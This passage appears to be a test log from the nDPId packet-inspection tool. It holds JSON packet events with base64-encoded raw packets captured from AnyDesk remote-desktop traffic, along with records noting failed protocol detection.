UjpKnUOMYrHZtG0HnkU2Kw5Aq1yhisHAwdI5wyGzaLWjR6qDE\/oN0O9vVDCgYHTKRlhiUbiucdI1w3YLoly+SyocUrSTFYpaUE0Un0fJjsxyV4D2KpSSbJag9HAUM+BMVSRIDw4zq+fRkW2RRCviAj+9DXvHOCYk3SI0nKY4HVSHfL8ZPVnkQkxmZO9t0QpijAS\/VEibHdwEQ+GRxjrt3IP7VSrzYSQuH9ppDNZUU\/t\/qIaZ3a1p3H+QdoS7eZ15XL\/49xHpchMm8RI7ktvPX+3riwEYtzYndTS0yi0vHXPbZETwVcsr\/4Jjbv+SnN6swNjwBA3DEbwwO028L4Hx8rDUl2LIAxo9\/PFC9qXED1MQ63mrZ0tDGy+QMh3Vg5SyamjU1G9yImhKbSsdWRPBlHJFtkhKeeKrpwvz0EW3ry9h3WSsU03Y2SYcBDPkkRgLNTWPncTe6taii0ojvxRnEnnAD84yQzo4Ds8TJrlJBf8eMp84dgH4ELF4kAUioeaYuX8sCx\/orBfkz7AhF0GkrLX2LG2AkNTb2dYd6Nx1nYc+TfqDBf6QPvaLhXbOVZgqiSRTEtLbY+21hQfwYMGsW+1mid6BQVw0ZPBpSYEjpJKkfIHxp5TE+cPqpo7hKssE\/x6uHDXHvEtlAPz35ehACIs6LnS3vxpIWn5m9xOdjTGCAY92+BlO8veFWagQj7HLlPuhl9SLhnV1HAZwOfmqrrmzyp3EvlIwWjiikJzHbmRdETcLTzJN+ZuKFNUInoKrSoLWX71LsTCDsypEHliMLudo7uJm\/cCMzT038OiAtWBf0KfwE+AIBYKK18EEu98oKmZbB8CaGTb89eE2ih4NYIanAyVWUT4\/F2+bQdkB2hG2\/\/Kwvs2QM9VDHooNp2SA9x4yUoP+X7AK2tATnJANb5V9BICAroQFzQlU7wrZvjhlvDbDHFU1EHR4Sd+Dz3T9lo8oo0AjL11JxxUSedGSKBQwIbYuI1u0hGH+KuXoXpUyZ8kk0cdTyNNe5HHn4wy8T8T2+JJt6laRv4PPRCX8qcviC9pTnP5iIuHVTyGhi6Ob8D27dwJzv5yQ+A15rLZvSvqe7L8RaiYiTM66yoo0JBHqgnblZ7mfhQHnYtU7g2ZaM\/Y39h71zQAmH122c3K\/V2HN0PDBNimnILaQjWi7xCzSyn4oq9RS5FLzX47S8Iqw9rSJg2iaMfmTa33JxMb\/l\/WhOiHtmoaZyvf5rJgb38OIKRipgu4S8iKwpRo75YiEch+kSc7EU0DzPTRayhIdXEEpnkHOUaQhk9G8DV7FVLry\/TbBha2fvdXk9UlWHZwf2mjiFObyh6BR6j0qs1Fqq4YKonc9mWkFSFRVPge2gapuEUBlEBld0ATseXw7T3qIoPZJ\/KcsqMysSJrftmiMmg7CY2LL0WWxW1GfhJ31OBn8H6uHdQeGlkohYvUsfPMy2XrrwwSWm6VbBb13S\/xPOWlCHh2i2HdYQwZAe4k3790mfrH6c8aipyp6aNU+XVzhzEBXbDHUkDqKYHHZFV1Gc+4tOrGSf3R9nN9\/Ca7OPvs8Jin1YpM1hYGGQyhPt2iOaikO13gjMBUSl8ORqnw1xD4jMuxY7f6u\/3Su7BkqyuSroG2Vh0FqBwEvGe29W9NMk00XIkxogachhhfWe8fgWHjnJ3PKhoEUHF3QO4j6ga1dJllOpWyGpi461mJ2xI2Lm6rhOoEFCUVKk6+V5lj0oviY\/MZZZsyzl\/z93de\/vtI3THuhv88ULEkbDCEs1TNSSgW9LkdW6yGE3\/HMOmMHKNU+XwvqUhqW9exyhdYUFVLjhviOyNCftMMTbc9LjEiK1OaKiFr9\/Q+nedlstRs2STlHeKOpIcSW6E64eg4Akmly9CS+0vyO2uk1iEYCDPyi239YvTSsGbhxkdiK5cUxyhegLbbYJf3KZOmerHW2Of3teQ\/5WrUEvJzaVQfuzTvzGxIbmj94f5T1f8caCHWgzx0kR5c\/rFWTfjx+fGVOelzBvFMjm283LTXinXseLel48OBlpvKiXhdvWqTaqjfyo80mefzK++qYV9uY6PBxvZBeLfrr18eInE+GhowxgncLgHqXu711uEn8ziQYu4dcgeAVBH82Q3tRcsaBxlpmFBwV3DwZp5QPf20DCWeYFkYtmGjGKUuYvaYBxCMnfDCGLcU9uhMgi9p7z7pW8dMi3eu5MAnaaGgQGJCmfeXQLZZifdLnXVsT5tccxFi3ejZ6Xt12TLKIc0L5Y07d5kcKrWH7Yu3nZpFyLMtYTQJU7lkEUYtsy8RIKJgwN53nc85JOk5kueWBbYrDMUESxfUvmzeJSG0ucehU6D0x4fAMJkn4Aa\/KNgPgAFgG4EnzPitVhg1Cjru3H1r0jTOSwka+\/rQnWL\/UggvNJHrZUA3WSI1r2z6dGZEa0XL77uz7+xjOgisYPyYU8xnP4nHvb5or3mbPHRdR29uq2Kibi\/w3sNoXmJ9G3+2pmVzLqC5bKpc1F4mkOuC1iVuJQIJL+swvOB6rTYVPTyz8lCHjGwVXSofKqrdnUXOHeR59Xtodj02lmthk0fczwQ7+zDLFOyN+ZnlvDMXhAx1ScclcGHD09ofmvINVthJTYfzFS6tiRXg1DTEfIoILSIEdCHCt6nZomYuylh3xelpXhhCdyS5E\/gIomYNIJjC8EhKamVH3qyids+BonYTdxS39y77mM\/Tkr6NftMvKAN5q5O4NlDHyTiUeT1wm+OjwZrFB4dSekxPvSK3ZH91gfRzSVMm6aNArVewamEp0GZR7HlB16W5bl71teTMxAnYmxpXoWDItrVlzKAJ3YtxY9mcOu81CM3t61TIJwzlwA7G5x3bQPTU6D\/QQc0k+cjtfS\/\/XxGYvy7JtsHgam93ollUEfT+fyhp4e9Pq1mriEN3Kvgfga6DKNucntUwk2Sm1QP6VgpC16cjKUFBDEoAat8fNEW+h2GYu8XFZ7Qmv2qb57c7Wzxps5tJtjGqy7oFcqa\/3gtNh+5G4ENw+u6r0r+VuEsXQaFWmoy8JT\/3rTkELzyuv\/05UocmDYGcFKkTJ7gy\/UH+RuJsY4JwhVibhnS1AazhxNxVVftyvwCNVawUtiIc57rfWIyRLTKoqIYIe0rIZPlFtUf8MxNdkILWpQfFJfqWlKyiKdcRpey3Pu29Ed\/QVFw6t0vZ3CbgQc\/HqfMTLR4Etk4Boi3yn8xRHAEhJsPwqokmxPEeNrERgt5tY13Mvh0dz+NxYTTIWg1YuZsem3q4LSsd2FL44NWNAj0BK5lpUd8XaWZh9HhUwPsv+wrf6PQUEU4qndGLQ2hIHx7CuL3rusyaQDZUr484vxR\/pBwpT3C2JDE2SDc5H9+5GtrlztbNM7jfEdzULOB6xfHoq\/o94l7WoOK6YJaU3261XAKAD1zxjOz\/6xysWnVeEmO7HzBZmCb2Y2QPaemgWx+Y3naNAHVd02gbo6hHFWYzTXV8mXH8BjNugYJPp9a\/F4753BoJbvX+uhzvfQg3XyfWAurjzOU\/tbtuAJPe8KXIT6yKFMitBkprOADEng4Z0Z5G8R6VU6stGsG+l99KpyytkxbjR8PX\/Z+km51cAz3AG980Cp\/w4gJFu8u+n83BIAcKeVz5N+RjrKFDWzbN057qx1KFbzruMBfaayXCH+BTxW\/gUOctb2+y5J4koC8qXM9UEAK2FkcMrsMu3hFT5MRonAGPfwagb3krEvq+UAvq0T8VM1WjYIFe33Nnijh3fei0p\/t5yuqOgp5ntHVUKnqihDTs9rKnNxvoH7\/CCNDTGiZmMmYtPJj92f1sBIDmDDJ0ND2wQX17LN4t1Vi3IPb4dMXtCHFrssQBmmDdFlr6BVHRvoChiQWE5L0iV3ZYo7ZLhEzg7saCFKfnSDuOz0yQ8JfeEOI1RKTMWmYCzOzF0ydvpg52CFi2JyP+RjXbxeJdxgfnlUG\/ogXz0rqvY5xd\/YB8RqdXIi7nA1nf+aAMn4oJPHk7rrzeJEzutdy9maN5B2\/E3tl8u9UGZwGrOHVq2uyYAZs68ncM\/W2fmd4ExDgjsdr0LhxrkPjpwg1o7R8KLGoS7kkETI\/s6CzlCW6mNQ7gskVROrtmWo1zs7T5BF4IlNI\/U39Udv6gJRPaRVX\/8\/TZKRfu9gq6PXcLIxWaibLhvfKalnEeYbdxaN9iY2zIKJNuIxJEXiUs74CCszxNHq127d5Eh6HOmQ4IDI8ZnMLvEAZ8bLdvgmsYz6u+ZeNdgpdXAIuyT5FAphtmj3avHx+nNJqHBUtcSVGA0VJMTfO3N019TrYrPSdVLzkR2JKU3G\/7wzMdXMxYDCvqc9xEHR4sDZ8eNsrLfhJzndzAl8UM9oO5Er\/A6BZ+gwa5\/assqSIVFcYm\/jxOgwlJ7YrJrr2DJ7a7jesLu88gnNPScRFshaTbvgL7+ZNNAlA1GdTnNQP6ulewjW+cHzDjSvgUmd6iqa1HaXMe+X84Vs7hCfUTuCKDqa4GKbKmSJpHMg7znX2NyXhRF3QQfHDdtER4l509C8JBblQh5Bm2tig=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":201,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07839{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":741829,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdwlAAIAGAADAqAG7wKgBstOUG56PG3kRWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUzkJrpmlB6M70qeEpxOFTZRpZDs8b1x08xC9zYoWy8iNXl5nNli7i+k9LBYGt4PcRA2age61Pnb3Oa2+GxMZS\/lXSz3BTbCs+7oq4s9vm4q2VTRT+aBXRkKIfOKKEV5rwWlpYVxKk4mnLkos0zEEcm6ZlYfpTRc\/mrmFpwnVo5Mw0F5md5I6N\/76U6Q0R12yIGYPeOx5dRLnWcW715syDNezKBncvNlJ5JWhiK\/YdkovMKcZcmQiQh8gDUW27Sxcv4t\/RpOdByl3flbMTrQZ4cknm9iUdQ4jio9weFOQSJT0zs4LzrkheCs372gRU7kwDux0cSw4lKY\/Sdyh\/VHRCp25YKncupvAgy\/LuSdC1r3Q8EKmAglVN+4OWaNPQwsRwrIcHvATHgbDDSrhZ8VQT0IB5YwFjzodueDxzwc1l0NemmCyW\/5co5CIvYHjn6m7kqa3BIpu47yIa4mar4ZDjlIsMf9JQxWATkvfHI9PGMzADCslwx213n6wyPJsb+jUNoltrDewMjfgwuMM30IbLo1jVkTAI8b4Co3eJaaQi5ULAC1raa1wWI7WvEEDaVEvGcrMyQLx+Z1NwmjBVp1fNfkmmc4T+kPC5BDnFwfHTwq8WTJqgwlklR66QyXSl+ZpksuV0JSrlOu9uohvmExSaP6RRVYG4m9h\/pv2nXtJ4F6dXJpI+iynrV60IB3WNj27rejvhzyA0rJmBSC1Pz10Nze0wZtfNXwD9JUB+KtcJdTuPkdOdN67tdH9Vroyhvky3FDS+d6A8GIzaYCb5RVruIAL6ICOUKKwxZx+OnO1NwifscMRTyLRirudJITsJEMZ2+bAvtMCMhJAgUY\/zo0ia6qNqSdGCDSr\/7EVdx1xPNyoFmL30z8blH3IIMtpTv1LVN61aPqJ4R2uX5xgPyYYVDrJWvm07xKJ3s33uXGFk8OJeKkMFl\/cwyLBEieAU8PB1KUKGf4EOE18mWJ4yXMXOaHU32V6MtDCjHpudXgPnV+EwqaM\/HkN4C2luWk4LMIEkYaDuBJzd\/7EnCXyN0GWy1Vt9KtUQD7AyIQ+K\/bszt+aHArVkd5\/NCh6Gg\/jK\/7s6usuxyIp8CJ5cCveydREbM144I8pkN3VltIMHay+wl5nANRaskqtL2sWSGdmkdnCoqj7cDteZeGB43XGVRHL4Xjq6TguUUeJQE1ptnsT+J5CHwzn9MdlPEP2S2OIlE9Q19FlOlHyVzoOkXdneGPkGZv05CuIH3mrfYYkc1EtGd9Wys5nJwBw78hWBCCi1hv\/eVUAPLQ+e3RAmJVq\/IiX\/4QPNABpmgxr3eyt3q5U207onXUf+o8hv4\/wP6lclaqAt+U8QB9mry+\/Mp\/\/ZznZas08y\/M9oFsQlN8Qw\/5etXZBAZ3993uEcB7VslLegoibzZFqDX5ppi6k0XzS3cJxnBGgHk3olImk64QQQ9XD1bK586RbDA77cicdQRTLldks3dSAeyMF69FbES8QOrxGp07PNBv66SE8mjkMzCQJ3a+X1eQOWE\/unDohfnVx1KCRnFX5DkD7DVvOUof3W43NRg402rDnQ1tMAhKIRdhaAIBJ0eJXsBqFQTJ78YhJ9Q82SdgZpAxig+0jg1N0Svlg1H4qEMO+krfXicA4oeRA5QVFdTkK1E0azmitdN7TuU3XpXDCd9RSKLgGmW3glkoxf+wQ8XOgc4IVJgKsqVrUACUXVMERt\/GuRms2VPyUY6UKSZbIcwgn+\/hlWxiolEibUm3L7ioza4WerHTmoJKmJ8jK7KiGFc5uaXHlyy9X3fn9VqHDx\/Wt4\/wybr5EZvQWIXUC88fMwZxPetFrMn8bdvwHXL6z7h\/n2lyQ\/XBmH1dsltulZaoQcTRYlne6y5IY8saCX6pALifB+eikvNFv5YAJrAfcuADOt6MgxiUh8hhp1JAwTQ8fjnlzo6IEIpv5hSBj4fO0dgzzYKqEm2H9y9y4LTp3dSiaL\/i1ezAfFFElPMGAYOFICleqLw\/j\/nAV0i+Ye4SNJ6ahAYwrjSQ5SSVH+ybi9UjuuarnnTKdxri2tFLpySn4aCpzmlRxRVi5SURpzeUcEg1jiv0bFPnaQWo4aACkybN9w\/9Vfh4SnrtovDSfUi9fAnVJd4Xbg2bNpfNy9T9KtpHTntDkzDXa\/25SUqeKPiYNipn6IYKVB73dTBF3qvzvlm3zPxNVw9MjDDohwTZdq5S8Ds0ae3fBseH5dWf8iry3ak+wECaaApmRHrszULddksEOI7URmOSWOuKeBm91BUGFoH86iWdHdj+T89znR7aGphfNYEVw7qDEUAHVNXCVi8lYZttlwr5tkQ2gN1PLYEx9cyeGr6MlWW6PSzU0O3BWY35ps8aIWUSpjJCllYhwQQkqZ7\/h3\/kt9Q5jjbMNKCglcwaHdYE7WwZgJ2t2lyCuEYxMcXWK68n1I0W+iy6fC6XYl5QYueCZK4njqATRtgUa0DoBiiDVnDyUuuuS8kS0TTgYPGTrToAE0D+WwyB8Ms1yS5gSHx4hckfzIiEfPIKLLPyU71qRIc0lIPbFYAU+i90P\/qtB0ZXaAy2l3TcAYf\/CcC4dTGafAxOm7SP1JXcrE5f6cs6ySak\/pUk2ZCnTPpfp5oJl8k4t0n19vEjKBa3v4h8q+eSD0kcLWStrHpuZve3kt3\/wQ3YlLbjY7KNQ3ar86Z5VmMpH6LVfhw61ZPqvuWdoLem3kR++7DAad7PUpvdetKD5VIXnPBeFsFaB2KUhzYAe9bKNrbVN95+YgX80PWJppS1O7356BQIP8CmTkfFNKUlTWptKDgAN9GaHJMgj0LfiXdMCMzd1ph5k2Iw3acSHYTBbtWKtHhXiFpZbexGLh+1JgrG6dh7F3uCNP7byGVq4RgpEAeVsC+QngsvVykUxu7cv7mXWKzD68CPEkgv+X0u1P3RIIDHE5zrfSqio1Yb7qcnXZld2OzM+qNidJGjYT6i9QqxRZ13T3Spp7Ae7DkEiA9PM3+LzHq85SAfcRu1B\/dTO276zXS8FEVRN7kH6AkNu1CUEdeKwBzTdHpa6+3\/W7DQc1EtSy0EEnnUgqbp4BqrFw2P3pLy\/oxMcjqtVWgnWAs7OFLtIqgJCVCWYX30hFW\/yOYbGcG6UzIIBIRKX6G9r6VSrE0zpGJ6xphFBFXeJ7+YPO8tmSPdC7gQ814JahRgL9eHlW6NHTcqJCtoFXOk4Ls0OEmmv9zgaMWf22mJrN2M7Ph3x\/BMY\/sfXAiK9Hhg3ClSe2qpXwtuFxDWr\/X5Q5scJwpoeAThPuzivphWI0qAF0qDqs26CATwSrxhN4RnNdmmDFakv7\/nUjOaBmFYhVATL0MngNiIqCEHyfomuW8xZV\/fkl\/\/orRMXfM270Ae\/OyDa5bAhJtCNW8iUaB0ZVFqdums1YxkioYSNFhtrwiByEh+E38SP148DY7n44X6vPoIs5t\/iJdXJrRd4qLa4x1UgEL6pjOGxiqly3XkebX6dVNPz1jmarFC4eRjV3z87mjROcz+1jKpzQgutSw9c0tDfcZW02KQLj3eWNOxqOl4koTKsHa2NBc\/EpmJpeLFGw2OyYnw1ElCNoYKo7ydCjyOIC\/nrB7eDtwy0nKtcK9Yikd72NdO7NxLdDFL0eBf1B\/kYk0mbKmXCttL2YXl+tHRqiyIfT4XWFRrgHFlWuO5h\/8vluBYqVoQRq0wQx86Vac9kQ8Kpivg\/4ncyTlYYfRRDyQUIwoOlusKnoIr+MIK+VWkJLAkG3jRGTATFcLpVMGaJbaeXhXXiFKkg8mr8GyVHy2Hwcqj0fJbdVjzgX4TlOf9480blT9TgJyQK5Z8e4i1W2nLG\/TvRdrnLVjZvQ1qCvp7HtWj1\/LcHWDl5re0ONYSVC+g0UtLZVRrg8RaGP1WZZ\/VI2+ESw5MDfCQJgQqlwW0wP6ZwZ7ArIGMoXOLtSDR\/BgFhV\/1BLoE\/b65UZ8e97\/yE1ImHuxuewIHKkS2itzhQSe6KsCrHqA+OXnDtCOEOWOf6aqffRfNUX9zg4gC1T2dZa6X3XV8lWv6ohtQrnKibyn4sJlL8sQM15QOVL6wPguGt313bJFMpDihcHTPpdKnkFxgikgG3BXsMnVoptRKptnpGB8D+s21B5IF6nmaQw2BV6bXc7O774Li0SoiaoT26bfz3zSx34zazuDYa+yYeIi5icVUwSdpDOBz7\/R7BPHh2ALifGcppkH5mimt0nDCkcK9LIpJ23DWESy5Iru2BaD9gGbmOtsuGlIDBTZyoU4dfSBp\/xknhXn\/XjLaUPrN4\/QTp5gtjlTJe0QlUjD5MZhcM3a6r5u4Xqt84a4gMfNx4DCEIjQQlVET8zSYE1NtDxGYs2O7nLPA3qdmKN58DqI\/khhnPCKvxf3PP2MsFem14hQ+2idKPmF2Ft0GMX4jv3Go6NcxY3+CwZclqYI2VeR6h74VjvZz6O2NAr36yOcshGLNvFLDmbB1DSagVIsy6bdztvIj1WnaClCqoFTBFeBIRFZ+W2gJlz0OU\/0+JfXTlO16ZpHcnv9VobKA9FEBZC3GZ7IEPyVQ6vJlGtLVQMCNcHCyJX15rrKnsAwfTRLsmzKVksMyHT0QSgxIH+OuFpML4uIdtmF0GcPxnzMG1OcKUWQR6mtpGWuoaRH17ngCHp0tzqvIwg77qlHblgPbGhVRbPVwQs3AKf9NHSWtOI6s7isd8\/kw2LRc7uwz0eF+tsFAywXoUfybTfxmdmLab\/T35Ak\/5UkkLAUW0VzgZShEeU722h7mEvAnWmGQiZkt\/1i+L5JxAfgWKzNSOKGnd2hGYUZWtrK8EAkPxEoS6HqB\/EQcOeMr4XMnX7UpEj80WJVX5zuZedAL6WIAkKoFzwxbcwC\/bzZ4YYN8u8vZwr5U4pNR2C+2VtR+vkb+408FPZD2jqhd9KjHxU0zsUX3Cga\/1rKDw2iCy7hMCn8wlTt++Q+Czv\/VtPrCd7Uk79jfg43l0IXJPbyP\/KSV\/JbAwMPZyXWvuOl7Xti1NioblAfEYo0+wZ09cujQbamD9L4PYj7s4RQszsfR4gdLA6WHBqVS15UphdA\/7gkk9QC02exNYNNNBVtHH91AviLdc9t2WfnCKrQu1yA+JdTpmPkE1dsCiIBABv1nO2ugaQjyDjtFKThi9EkQqGEKaomd0TM6RicFOmgW2R82eub68M0TUfuiGJUQK4QaMq9T3z2h5taEtmD8B1Rsfjt30iMM5Tekr6dHysWdy5HYS38EXjUAAcuZC5RM5d0ZiblfB0XvwDBhvS4mUyf9muNjBA1d3HTKaRjxNRefxRsGkNAPCc8O1QUU0hhcvsKRdmc9yknEIZVDsOO6F5836XfrXRHOCQED7OQXgjhdmk8winkNJMN2Pno9AkiXW29Nt5p5CJ2O\/GEQwqwfymOqsJpvYo+wTC+xHcOTiv5YEiZ21JgLTJ41pMFy1esSXfJ5UKnB15O\/b3xlRJYalo\/\/9TLkdXMaFB1amtscXcsP6kkMWbOnRBH7YVgmhN6Gl3\/akEbSrjXAwslhDiowihNon4zA8NJ\/Ql8AIzWyH2K+a2s2KaRpBRhceFX\/8XCkegKwVHgyffFrj698+zCu6DxfdjfIKTOuixw4rdW32T9zzqam\/aDMiZ4C2RypKEBa6nkoO7167+1ZEebe5OAsAvkpD\/3s3X+GAEa4p+HLCK8MHBu\/uq6l59m54bw0G7x27TqaAgUSe6smszchweNN6V123gVBbH311kdqvPcqmytJRqvBxkK5cjDAxLBVuYpP3pl\/O44BQsP1sctsFzwGEReHPisREHHeDPNGr\/sCnfo2Oe9BsSFQ6TC3ckSvtW5\/PJH39RCkch2C7d3GMkuZ0wRR4r99GeiAU50is52tii0xQAq2cuTwgiKCt\/ryJAXHMbr46+GEI5kK7V8vBPjKysBOyuwVxmRYsz9zMKLdq\/Dmy45vVY21Apb9dkXvGqjMIzQNg8R9yPVSM9j+XdLlLyIsT0IzjaUEeUUdz7uZ2PeliSxLbKX7jTdPwb7DNGKiOZn3\/yW4iM9Yw2MuYBeNuckkkXoBrzZR1jyG6tVJPd697aXQ5PB0OGCAEJtEqZ1hhRJo+S7cJAKKpRceQNypNTDXM71m4vSHn5zKSEjcmOmZAx14J\/6wdJQomSefTaXNu9b2jBwR6DNc6Rll4U8cEXLgLNDSYri1Bb70kHCrcJ1rp9kQq3hWm9BUcZoQSHRB5D0pZ+ulJf6khS9HrR7\/NqOHNLaHyPqw2sWEuPaFoWXMv7soSUjp8GTKlYK8eWhEm0DbAvcWd+Qiw3VKKcQpFfxV4Lx+svghZrduF0A0d7N5QgQIh0Y4wFQzPQcRxd+xgKVEsTGmneCDcYhgqc1e9XuTv4gIfMU5xuVSNWhvNpmEl6UBCg4E6pwjH2wrfRUhSzLuOoEeenkD+ci9jcaApgwIpcK5b6D4uibiM0uzwo0Mj3iP\/jvA+xkpWjmc6gX5zKaVIssveHdOSf9bT8Sny38bbzXjcAxlt\/ftw5ya1H5iVlBTNsNyjwzY8MGKkeZZNzzribkIs4ENG8BOF24slks3EpkqXBaZ8DPFWMJiYmDUK0ROc+Go4pJ1HI9gaeMQWHofDxUf1\/MUB8L\/f5VfzWbokrrY258iTEupOlpHxCNtOVdzWENemxLZIjANCgeFt\/Ge1GHdhCRCW4YKTSJ\/+ZuX9DiyFs\/L3xYqXXG9827rSPrk2eiHAbM4ChpbXiCXd7hyuTuXNrqbSYyzZVNt5hWPJ2oJOg7Xjzac8z1E1q4FtGOelMCKQs7p6cyPL1aXuUm0LswnF+AzN83nDvNa3T68Tbxotd9+41ZSoUfcLGBHFK7XGiQFYg3FnG+FFBe+ZWi5G1zWMipqsQH7FCHMBXsAMslL2xrb5G1D6dUqIFQiGe\/mH49DN8Xfz\/FMZIx2n4dSzFM7+d1MtBJYfF5G6Krv\/VLs21\/NMUL3f6ZuP0P2vt0JeIgY7oDDJkEHXoSryIdDp2oBt94IP8exp4lcY\/X65FQAtXW6nd3emNt+nw\/bMApwGfQfd4UkTGAA\/TfhZGVH2DecenAF\/ZBEf07E+Ii+g2trjyTTfP4nOwqXHuUgNCXwS6Or+ioGUZq1PWXA5Kx5uSCpdte\/pk8BpMXA+Qp+2SXvisfVZF4cvMRGlsRrja2\/8VV7E0V3uandKP6DrL0tHh7UhRqsGZSO6Wz4bCXXj6h\/m8VRTwECY2Uv\/9jmacT1KB4GowJz1OFUkY5QmKNSSQkjZt9fGKYyoq33rGNBTVAFg\/i9gbnBNwQdZeQiUUC+1u6RforyyylyOsMToe76LYdocPP6I91IrFreYfhjj9pQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":204,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07840{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":742347,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdw1AAIAGAADAqAG7wKgBstOUG56PG46NWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUz1V2eI\/ZHxRX3\/XOUUu99e89f8sEkw9VyyWuY4MWx9w9ED0AXYRGNryWhcNlExFheZmHqqtEkB7yb7xpu4KuwedIxNuCgi1RReyInfFbNVkvJZAX+q+ZK1MEoOphQE2SttZjTdy7U6rM8DB1VLZzA77rQH4B0\/LUd2RLw9WelaV+q85um3gaiyk2P3Dv4+denbYPpkkczEhkjbDPHSr4DcSlhhLwzRqC4QzutaKD24lNMezaBVqgRGziegi8imJOhQOKvqabgb77ff\/8HZbrrUgDXO5JmyNBfwO0j5h1ahub5asDLntEGKiX7FYhAWFrmCzFv5XsWIEYb9yntE8YGi83XjwNyO10yP9NPwN+OO7Wq7T13rC+Qs8gGD3QQ9bB2jFxZTWrQeBkQ7GKVjf4dOZVd2tBNCvR+vgU6yEuOtnoCyvnDeKlvvsY2fCJHWkNO+nHdj7W+Yz8ir\/8Q8gnkxYrUdUxvXcPm4FB9raTGdxo6nd+lCOCPIOdKd0ouTrkBlUhyjjawhFE0Q+0+RqsnFPz3qBNaTDyegvaT18Wl8s0Qwyh7qY3x1KfHAfwhS2e4foc5EkygU7dhzAkYCPlxaNUu9Xsm5Ie64lCMy4+qYrKEZG\/GNZ+gWJZzaN981NhvWb6\/k54CCIzZ\/tG\/W6ToVxeb3ISQoqCzCzoB8YOwQIAh0eFFIgd3YlZmKLmpJsSDSEBs2\/D48LydZyTWo9vFtQV5jxZ\/2TUVCE2zWI22MZO+OIVdYI8\/ftkNenoSKoFIt\/k4tVsSbWApJ9fOjCWJA1+eRSiU8aGUiWZQV6u0RO53s2HOCILOezMGC2AvHiw4\/LYaP2bpDoO27xel8k1PA29L5LcYJTBCf8KDoKmfLXswMBlbkrzjxyw+\/53jbXG6SfaLPFsh0Y4FjPI3aI9hA4V596gZpOXh1GKP5C9JJc1XOyHIf3P+WorFedI+rAVJTOuu3ACDZwa\/4B95ccJFJALCQDsBtqjfQxEITrBIpLKEWHaqQAeeIIYJw4L1cyFTUow1+OO5fyy3CwwzvECnBc3YIsBBFPZotXiNRTrFKmVNxUYeviwhk16n9iQGrHzXmgZ5d2YMv\/0JguYYZBkBeQ6qhSJVmuBpWUKD1RbMjFxthGHV22hf9cEMkW0gGC4BwOR2x9Wzt3ehrY7HSxUqtmESx0Iuj5B5WYZ1fo4AfSWPNNUBDDTRTAsivlkRaNByZwyP\/eaAYmBT19wdexvIDOfhJsoFgkAQJHquSrOO5WqsuagUJVdkNKk\/ZGQGuX4syc44RXcexDRhfIR19+GCgml4M\/qJwFV0uvM2dAcGIy6M+3ODbTc17F+CttOTV6Z8tUaAIEkoHxlJSeBznPwz88\/0prV8cMZTOxiR7u5BMndL+EyCI\/1sYtyNv5YOSB2eG0sCZvrgO+ph7y4q059UAvekxCvzs01v8j25urTZfjbTavHzQ6x8QcIoPIeVDdCm6lTfL5woGXxLIi7At7ujJWbsAvTg+i39T2KT6OVDTVThTulbwSdnbFITWRA38bMINA\/JxEsvEe2+szgAXMSNV0ukO7R1oVV0i801mOZBH4bORP70e\/LvPCKqTcvuWzKg6vhksUyVWrFJhEGd0JrEL5UWAtjfvqJivpwmzkcgyS7FAo5s4Tm7n2WfnXuFlPBoPL2w0i4awp4HRlK5QXGphsuiKhxzh0eIWyty23vwtgIqEwelkDRnO0Wz4+DTxCmafZa7ry0SQz4iO0D5qXWSUE\/OWin7irM5RHWG3wAYsd1T+aXJbDvMcGAc+zMxX+fQnw\/mPO8Ye6kjT4MnU7+3FDCdB8xNC4PDJTgDhsYRzseeqBQiCvto9jNFoN2WAFvFtgRMLMZFe62VwwysrJ\/iMKgG24PnAUdlaE8mkdZih1NTK11ou8V8XwLf1lqjsuYrj5hocPzbbDHJM1t0R419dne+JJIbweyaemfg7KIuk6B9z8\/TVBGglKHDv5+DTo904OcAgd4Hx7VoUxTCM32w0YCg3KMix9wOqhM8MGgK4PjiYcvhkOUV46C3Z42Z+rCh5v8mNAftsgRYMsUfnmfZ9FuJI86GzzGBramfJG81hJF9\/P1yOf1gRtFWU0J1bUXBPIopGiwDBEPktGX+gvv9lOEF24au2E56YLGjshCuBOGJRz3596oDXr\/1dZvB8bxlW9YHMYmzUsetjx6sxOUZZGB\/jCSLSta32b6rJxr0OukrnB0TbK4Qekk1fh5lIhfBYkscFHiNnEWwM+7AG7euzUBQ1R\/\/a6B23ToLHBMdeer+oyV\/N7n7km\/JMk\/ipIzsliyF2ELgxa4qWoJje+qguiEKWZ31H1y3YiKAomUi7oPUJ+FC\/D7NrUfJEUhN2aqARxmP6i9P7tCWonDNaDKv3JC5nlTnH7v7R\/GASmb0zgGaM4TsdhpdGIgWGQje+\/OQ2Y7ubrw4Utn5bXLAXTmfnj5CDkZOz9RKR7s1r+ccne7+gVnBO7Z2agCu7kdgD\/LujyLFmfmdveox8reF2vFlEeV9sMLUkH9VaUiaipLhx6qFxme7gNwsM+WG0nGpJl6xzTDqYMq2hJrO7alcHgCtHV9923ZzbjNMGYCS+WbVmQAWZQl4iANeCvATNGWXs64nINltaefJKM0\/i2PCq0bDMtEHB3PKeWn5cnJ9uTdfSV2XW+ZMENuuhc\/DEX0gy3Pr930OCa\/DMXkWHj7Asc\/vW7kXQ+Q4gKppEAu80KEjCzUdwuXoPP\/RJ8U3mO0YPTQRWoS5VVJWwbaFm+jaYiRlLr0bfEsKtq11g25Wr5jN1Bd7DfpYpFuHJlr2vEOoFMV0rre69ICm9fUxMdAjqvJnMpA6wliooTwr+lJ2MXGsWa3Hk3yJ77HhA1pu3+f18sSUG6QrISfijFaeDfr